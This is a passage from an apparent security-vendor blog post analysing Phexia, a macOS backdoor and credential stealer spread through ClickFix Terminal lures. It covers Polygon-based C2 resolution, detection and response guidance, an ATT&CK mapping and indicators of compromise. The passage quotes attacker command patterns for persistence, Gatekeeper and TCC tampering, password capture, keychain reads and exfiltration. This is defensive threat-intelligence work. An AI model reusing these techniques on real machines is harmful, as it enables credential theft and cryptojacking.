on-chain reference, allowing the operator to redirect subsequent lookups to replacement infrastructure. The contract is therefore more resistant to conventional takedown measures, although defenders can still disrupt malicious endpoint activity and access to the associated infrastructure.<\/p>\n<h3>Shared contract across builds<\/h3>\n<p>From 14 June through 22 October 2026, all recorded Polygon contract lookups in our telemetry targeted:<\/p>\n<p><code>0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0<\/code><\/p>\n<p>The requests used the getServerURL() selector, 0x2686ecea, across several distinct build identifiers. Reuse of the same contract indicates shared control over C2 resolution across these builds. That control could sit with the Phexia service operator or a customer distributing multiple builds; our evidence does not distinguish between those possibilities.<\/p>\n<p>On 27 October, reinfection activity introduced a build querying a different contract:<\/p>\n<p><code>0x3445fB8Df432320251f611e691fe6B0C6664C960<\/code><\/p>\n<p>The lookup resolved to dhsbdgs[.]icu. This was the only additional contract observed in our telemetry. Its appearance establishes a change in the resolver used by that build, but does not establish whether it represents a broader migration or a parallel deployment.<\/p>\n<h3>C2 infrastructure observed by WithSecure<\/h3>\n<p>The following timeline records the first endpoint observation of each C2 domain, alongside relevant infrastructure events. These timestamps establish when the infrastructure was used in our telemetry, rather than when the corresponding contract value was changed. Domains marked new were not described in the public reporting we reviewed.<\/p>\n<figure id=\"attachment_14349\" aria-describedby=\"caption-attachment-14349\" style=\"width: 1692px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-14349\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia.png.webp\" alt=\"\" width=\"1692\" height=\"720\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia.png.webp 1692w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-300x128.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-1024x436.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-768x327.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-1536x654.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-447x190.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_2_phexia-343x146.png.webp 343w\" sizes=\"auto, (max-width: 1692px) 100vw, 1692px\" \/><figcaption id=\"caption-attachment-14349\" class=\"wp-caption-text\">Figure 2. Phexia C2 infrastructure observed by WithSecure<\/figcaption><\/figure>\n<h3><span lang=\"EN-US\">Contract updates and endpoint transitions<\/span><\/h3>\n<p>Contract updates did not immediately redirect existing infections. WithSecure observed continued polling of hf98x4d[.]site through 23 July, approximately a month after the published contract history showed a different C2 hostname. Together with the decoded startup logic, this supports our assessment that endpoints generally retrieve an updated C2 address when the loader or backdoor restarts. Historical C2 domains therefore remain relevant detection indicators after the contract changes.<\/p>\n<h2>Conclusion<\/h2>\n<p>Phexia demonstrates how a user-executed Terminal command can lead to persistent access and credential theft on macOS. Its reliance on Apple-supplied utilities and build-specific AppleScript obfuscation limits the usefulness of file hashes alone. WithSecure\u2019s investigation instead identified the execution patterns connecting initial access, persistence, data collection and subsequent tasking.<\/p>\n<p>The potential impact extends beyond the endpoint. Captured login passwords, keychain material, browser credentials and session cookies can expose corporate accounts and SaaS applications. Our analysis also established how operators deployed XMRig through Phexia\u2019s tasking channel, repeatedly reinstalling the miner and changing mining pools and wallets. These findings demonstrate multiple ways to monetise access to an infected Mac.<\/p>\n<p>The Polygon-based resolver allows operators to replace C2 infrastructure without updating deployed loaders. Taking down a domain does not remove that resolver. WithSecure has closely monitored Phexia activity since January 2026, tracking its evolving infrastructure through October and identifying a new build that used a different Polygon contract for C2 resolution., alongside changes to persistence naming and additional startup activity that transmitted application names. However, existing infections did not immediately follow infrastructure changes: older domains remained in use, and reinfection could leave multiple builds active concurrently.<\/p>\n<p>As a commercially distributed backdoor, Phexia can reach users through different lures and continue evolving across builds. Defenders should prioritise the behaviours demonstrated in this investigation: Terminal-associated downloads followed by AppleScript execution, LaunchAgents running encoded loaders, Polygon lookups from script-driven processes, and password validation through dscl. Historical infrastructure and earlier persistence should remain within the scope of investigations. These controls should complement user awareness of ClickFix verification prompts and access to approved software installation guidance.<\/p>\n<h3>Acknowledgements<\/h3>\n<p>The author of this blogpost would like to thank the rest of the team, namely Ari Lappalainen and Mohammad Kazem Hassan Nejad, for their contributions in getting this report published.<\/p>\n<h2>Appendices<\/h2>\n<h3>Detection and hunting guidance<\/h3>\n<ul>\n<li>Terminal-associated shells downloading and executing scripts, followed byosascript\u00a0execution and LaunchAgent creation.<\/li>\n<li>LaunchAgents under~\/Library\/LaunchAgents\/\u00a0with labels matching\u00a0&lt;16 lowercase letters&gt;\u00a0or\u00a0com.Apple.&lt;16 lowercase letters&gt;, whose arguments decode Base64 content and pipe it to\u00a0osascript.<\/li>\n<li>Polygon RPC requests from osascript descendants containing either reported contract address and the 0x2686ecea function selector, visible in command-line telemetry or inspected HTTPS requests.<\/li>\n<li>curl POST requests containing txid and Phexia task or module parameters, particularly where responses are piped to osascript, bash or sh.<\/li>\n<li>dscl . authonly, browser Safe Storage queries or tccutil reset All within an AppleScript-associated process tree.<\/li>\n<li>Archives created under\/tmp\/\u00a0and uploaded through\u00a0curl\u00a0multipart requests to\u00a0php.<\/li>\n<li>XMRig downloaded or repeatedly launched by processes associated with Phexia.<\/li>\n<\/ul>\n<h3><span lang=\"EN-US\">Incident response and recovery<\/span><\/h3>\n<ol>\n<li><strong>Isolate and preserve evidence.<\/strong>Collect relevant telemetry, malicious LaunchAgent plists,\u00a0~\/.txid,\u00a0~\/.passphrase\u00a0and staging artefacts. Secure evidence containing plaintext passwords.<\/li>\n<li><strong>Identify all malicious persistence.<\/strong>Inspect LaunchAgent contents and process ancestry; reinfection can leave multiple builds active. Label patterns alone are insufficient.<\/li>\n<li><strong>Unload before deleting.<\/strong>Remove each confirmed malicious job from its launchd domain, for example with\u00a0launchctl bootout gui\/&lt;uid&gt;\/&lt;label&gt;, then delete its plist.<\/li>\n<li><strong>Remove associated processes and artefacts.<\/strong>Terminate confirmed malicious script processes and miners, and remove their payloads, credential files and staging data. Avoid terminating unrelated system processes.<\/li>\n<li><strong>Address credential exposure.<\/strong>From a trusted device, reset affected passwords, revoke active sessions and tokens, and assess password-manager and wallet exposure.<\/li>\n<li><strong>Validate recovery.<\/strong>Reboot after evidence collection and remediation, then check for renewed persistence, C2 traffic or mining. Rebuild from a trusted baseline if compromise cannot be fully scoped or activity returns.<\/li>\n<li>Specific indicators mentioned under the &#8220;Indicators of Compromise (IOCs)&#8221; section<\/li>\n<\/ol>\n<h3>MITRE ATT&amp;CK mapping<\/h3>\n<table>\n<tbody>\n<tr>\n<td width=\"162\"><strong>Name<\/strong><\/td>\n<td width=\"78\"><strong>ID<\/strong><\/td>\n<td width=\"384\"><strong>Description<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Acquire Infrastructure: Domains<\/td>\n<td width=\"78\">T1583.001<\/td>\n<td width=\"384\">The threat actor used a series of attacker-controlled domains for C2, switching to a new domain every few days to weeks, and random-looking subdomains to host first-stage scripts.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Stage Capabilities: Upload Malware<\/td>\n<td width=\"78\">T1608.001<\/td>\n<td width=\"384\">First-stage shell scripts (update.sh, script.sh, clear-cache.sh, Terminal.sh) were hosted on delivery hosts and downloaded by victims.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">User Execution: Malicious Copy and Paste<\/td>\n<td width=\"78\">T1204.004<\/td>\n<td width=\"384\">Infections began with the victim running a command in an interactive Terminal session that downloaded a shell script and piped it into bash, consistent with a ClickFix lure.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Command and Scripting Interpreter: Unix Shell<\/td>\n<td width=\"78\">T1059.004<\/td>\n<td width=\"384\">bash and sh ran the first-stage script, the C2 lookups, module downloads and operator shell tasks.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Command and Scripting Interpreter: AppleScript<\/td>\n<td width=\"78\">T1059.002<\/td>\n<td width=\"384\">The dropper, loader, backdoor and stealer modules ran as AppleScript through osascript.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Create or Modify System Process: Launch Agent<\/td>\n<td width=\"78\">T1543.001<\/td>\n<td width=\"384\">A per-user LaunchAgent with KeepAlive set restarted the loader whenever it stopped; it was loaded with launchctl.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Obfuscated Files or Information<\/td>\n<td width=\"78\">T1027<\/td>\n<td width=\"384\">Each build\u2019s AppleScript was obfuscated differently, with random variable names, meaningless arithmetic and strings rebuilt from character codes.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Obfuscated Files or Information: Encrypted\/Encoded File<\/td>\n<td width=\"78\">T1027.013<\/td>\n<td width=\"384\">The loader was stored base64-encoded inside the LaunchAgent plist and never written to disk as a readable script.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Deobfuscate\/Decode Files or Information<\/td>\n<td width=\"78\">T1140<\/td>\n<td width=\"384\">base64 -d decoded the loader at each launch, and xxd -r -p decoded the C2 hostname from the contract response.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Masquerading: Match Legitimate Name or Location<\/td>\n<td width=\"78\">T1036.005<\/td>\n<td width=\"384\">October builds used LaunchAgent labels beginning com.Apple., and the miner\u2019s working folder was renamed to \/tmp\/applecomlistupdate.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Subvert Trust Controls: Gatekeeper Bypass<\/td>\n<td width=\"78\">T1553.001<\/td>\n<td width=\"384\">The quarantine attribute was removed from the downloaded miner with xattr -d com.apple.quarantine.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Indicator Removal: File Deletion<\/td>\n<td width=\"78\">T1070.004<\/td>\n<td width=\"384\">Miner archives and temporary files were deleted after use.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Hide Artifacts: Hidden Files and Directories<\/td>\n<td width=\"78\">T1564.001<\/td>\n<td width=\"384\">The captured password and the build identifier were stored in hidden files, ~\/.passphrase and ~\/.txid.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Abuse Elevation Control Mechanism: TCC Manipulation<\/td>\n<td width=\"78\">T1548.006<\/td>\n<td width=\"384\">The backdoor reset the Mac\u2019s privacy permissions with tccutil reset All; the purpose is unknown.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Input Capture: GUI Input Capture<\/td>\n<td width=\"78\">T1056.002<\/td>\n<td width=\"384\">Repeated password checks with dscl . authonly, consistent with a fake \u201cSystem Preferences\u201d password prompt, continued until the correct password was entered.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Credentials from Password Stores: Keychain<\/td>\n<td width=\"78\">T1555.001<\/td>\n<td width=\"384\">The login keychain database was copied, and browser Safe Storage keys were read with security find-generic-password.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Credentials from Password Stores: Credentials from Web Browsers<\/td>\n<td width=\"78\">T1555.003<\/td>\n<td width=\"384\">Login Data and Web Data files were copied from browser profiles.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Credentials from Password Stores: Password Managers<\/td>\n<td width=\"78\">T1555.005<\/td>\n<td width=\"384\">LastPass and NordPass browser extension data was copied.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Steal Web Session Cookie<\/td>\n<td width=\"78\">T1539<\/td>\n<td width=\"384\">Browser cookie databases were copied, and Safari cookies were copied through Finder.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">System Information Discovery<\/td>\n<td width=\"78\">T1082<\/td>\n<td width=\"384\">The hardware UUID was collected with ioreg, and system details with system_profiler and uname -m.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">System Owner\/User Discovery<\/td>\n<td width=\"78\">T1033<\/td>\n<td width=\"384\">The current username was collected with whoami.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Software Discovery<\/td>\n<td width=\"78\">T1518<\/td>\n<td width=\"384\">A start-up step sent an apps field to the C2 describing applications on the Mac.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">File and Directory Discovery<\/td>\n<td width=\"78\">T1083<\/td>\n<td width=\"384\">The stealer checked for crypto-wallet application folders with test -d and probed extension databases with file -b.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Browser Information Discovery<\/td>\n<td width=\"78\">T1217<\/td>\n<td width=\"384\">Browser history files were copied.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">System Network Configuration Discovery<\/td>\n<td width=\"78\">T1016<\/td>\n<td width=\"384\">The Mac\u2019s public IP address was looked up through api.ipify[.]org.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Data from Local System<\/td>\n<td width=\"78\">T1005<\/td>\n<td width=\"384\">Browser, keychain, password-manager and wallet data was collected from the infected Mac.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Data Staged: Local Data Staging<\/td>\n<td width=\"78\">T1074.001<\/td>\n<td width=\"384\">Collected data was staged under \/tmp\/&lt;long hex&gt;\/ and ~\/tempFolderC before upload.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Archive Collected Data: Archive via Utility<\/td>\n<td width=\"78\">T1560.001<\/td>\n<td width=\"384\">Staged data was compressed with ditto -c -k &#8211;sequesterRsrc.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Web Service: Dead Drop Resolver<\/td>\n<td width=\"78\">T1102.001<\/td>\n<td width=\"384\">The loader and backdoor read the current C2 hostname from Polygon smart contracts through public RPC endpoints.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Application Layer Protocol: Web Protocols<\/td>\n<td width=\"78\">T1071.001<\/td>\n<td width=\"384\">C2 checks, registration, task polling and module downloads used HTTPS POST requests.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Ingress Tool Transfer<\/td>\n<td width=\"78\">T1105<\/td>\n<td width=\"384\">Modules were downloaded from the C2 and piped into osascript, bash or sh; XMRig was downloaded from GitHub.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Exfiltration Over C2 Channel<\/td>\n<td width=\"78\">T1041<\/td>\n<td width=\"384\">Archives of stolen data were uploaded to upload.php on the C2 over HTTPS.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol<\/td>\n<td width=\"78\">T1048.003<\/td>\n<td width=\"384\">The same archives were also uploaded to 62.60.226[.]50 over plain HTTP.<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">Resource Hijacking: Compute Hijacking<\/td>\n<td width=\"78\">T1496.001<\/td>\n<td width=\"384\">The XMRig cryptominer was deployed through C2 tasking, via the ledger and shell modules, to mine Monero.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Indicators of Compromise (IOCs)<\/h3>\n<h4>Polygon smart contracts (C2 lookup)<\/h4>\n<p>These cannot be blocked at the network layer. Detect lookups of them instead, through endpoint command lines or a TLS-inspecting proxy.<\/p>\n<ul>\n<li>0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0: queried with function selector 0x2686ecea (getServerURL()), June to October 2026<\/li>\n<li>0x3445fB8Df432320251f611e691fe6B0C6664C960: queried by a build installed on 27 October 2026; resolved to dhsbdgs[.]icu<\/li>\n<\/ul>\n<h4>Public Polygon RPC endpoints used for the lookup<\/h4>\n<p>These are legitimate services. Treat them as suspicious only when non-browser processes such as osascript contact them.<\/p>\n<ul>\n<li>polygon.drpc[.]org<\/li>\n<li>polygon.publicnode[.]com<\/li>\n<li>polygon-mainnet.gateway.tatum[.]io<\/li>\n<li>tenderly.rpc.polygon[.]community<\/li>\n<\/ul>\n<h4>C2 domains<\/h4>\n<p>First seen in our telemetry:<\/p>\n<ul>\n<li>hf98x4d[.]site (14 Jun 2026)<\/li>\n<li>apdhlhs3[.]xyz (6 Jul 2026)<\/li>\n<li>j9af4sr[.]guru (16 Jul 2026)<\/li>\n<li>67sixcebeh[.]surf (27 Jul 2026)<\/li>\n<li>stv4ec5[.]shop (4 Aug 2026)<\/li>\n<li>vg5sgxv[.]lol (25 Aug 2026)<\/li>\n<li>d9mjs[.]sbs (7 Sep 2026)<\/li>\n<li>jse8x92s[.]me (11 Sep 2026)<\/li>\n<li>couhe79[.]xyz (2 Oct 2026)<\/li>\n<li>xzttyt[.]xyz (12 Oct 2026)<\/li>\n<li>secdarvin2026[.]icu (20 Oct 2026)<\/li>\n<li>oreshnik[.]top (22 Oct 2026)<\/li>\n<li>svo-zv[.]pro (24 Oct 2026)<\/li>\n<li>dhsbdgs[.]icu (27 Oct 2026)<\/li>\n<\/ul>\n<h4>Delivery hosts (first-stage shell scripts)<\/h4>\n<p>These are the hosts the pasted command downloaded its script from.<\/p>\n<ul>\n<li>hackersteersman[.]digital<\/li>\n<li>coeuzgoq.bahisbiz[.]com<\/li>\n<li>kefavkd.nextbahis[.]sex<\/li>\n<li>d9j.everunningshoes[.]com<\/li>\n<li>nox.usa-synadentix[.]com<\/li>\n<li>zwa8.meritbethizligir[.]com<\/li>\n<li>355uz90z.bolnhurstrally[.]site<\/li>\n<li>7ulk.irvinaurus[.]fit<\/li>\n<\/ul>\n<p>The script names fetched were update.sh, script.sh, clear-cache.sh and Terminal.sh.<\/p>\n<h4>Upload server<\/h4>\n<ul>\n<li>62.60.226[.]50: second upload server for stolen data (http:\/\/62.60.226[.]50\/upload.php, plain HTTP)<\/li>\n<\/ul>\n<h4>Cryptomining<\/h4>\n<ul>\n<li>Mining pool: pool.hashvault[.]sh:443 (TLS)<\/li>\n<li>Mining pool: pool.supportxmr[.]com:3333<\/li>\n<li>Monero wallet: 4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L<\/li>\n<li>Monero wallet: 82hSZSZNcbCdWd3ESkMDnC5cegaJnFhcG8PUBkMPof5mEdMDCF8cLcE1QuW4h82ggwi4qtfnRwMEgZPKQEnogkvmLFuRLFv<\/li>\n<li>XMRig 6.26.0 macOS arm64, downloaded from the official GitHub releases. The source is legitimate, so treat the download as context only: suspicious when started by a shell whose ancestry leads back to osascript.<\/li>\n<\/ul>\n<h4>Network patterns<\/h4>\n<ul>\n<li>curl POST request bodies containing txid=&lt;32 hex characters&gt;&amp; followed by init, connect, task, bmodule, smodule, lmodule, ledger or shell<\/li>\n<li>A curl started from osascript whose request body is only check<\/li>\n<li>JSON-RPC eth_call requests with data 0x2686ecea, sent to either contract above<\/li>\n<li>Multipart uploads of \/tmp\/&lt;long hex&gt;.zip to upload.php<\/li>\n<\/ul>\n<h4>Host artefacts (macOS)<\/h4>\n<ul>\n<li>~\/Library\/LaunchAgents\/com.&lt;16 lowercase letters&gt;.plist: persistence, June to mid-September 2026 builds<\/li>\n<li>~\/Library\/LaunchAgents\/com.Apple.&lt;16 lowercase letters&gt;.plist: persistence, October 2026 builds<\/li>\n<li>LaunchAgent program arguments: \/bin\/bash -c &#8220;echo &#8216;&lt;base64&gt;&#8217; | base64 -d | osascript&#8221;<\/li>\n<li>~\/.passphrase: the captured login password, in plain text<\/li>\n<li>~\/.txid: the build identifier<\/li>\n<li>~\/tempFolderC\/: Safari cookie staging<\/li>\n<li>\/tmp\/&lt;long hex&gt;\/, with Browsers\/ and Extensions\/ subfolders: stealer staging<\/li>\n<li>\/tmp\/&lt;long hex&gt;.zip: archive of stolen data<\/li>\n<li>\/tmp\/updstat.txt: upload result<\/li>\n<li>\/tmp\/rigupdater\/ and \/tmp\/applecomlistupdate\/: XMRig working folders<\/li>\n<\/ul>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/&#038;title=Inside%20Phexia:%20A%20macOS%20malware%20delivered%20through%20ClickFix\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Inside Phexia: A macOS malware delivered through ClickFix&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" 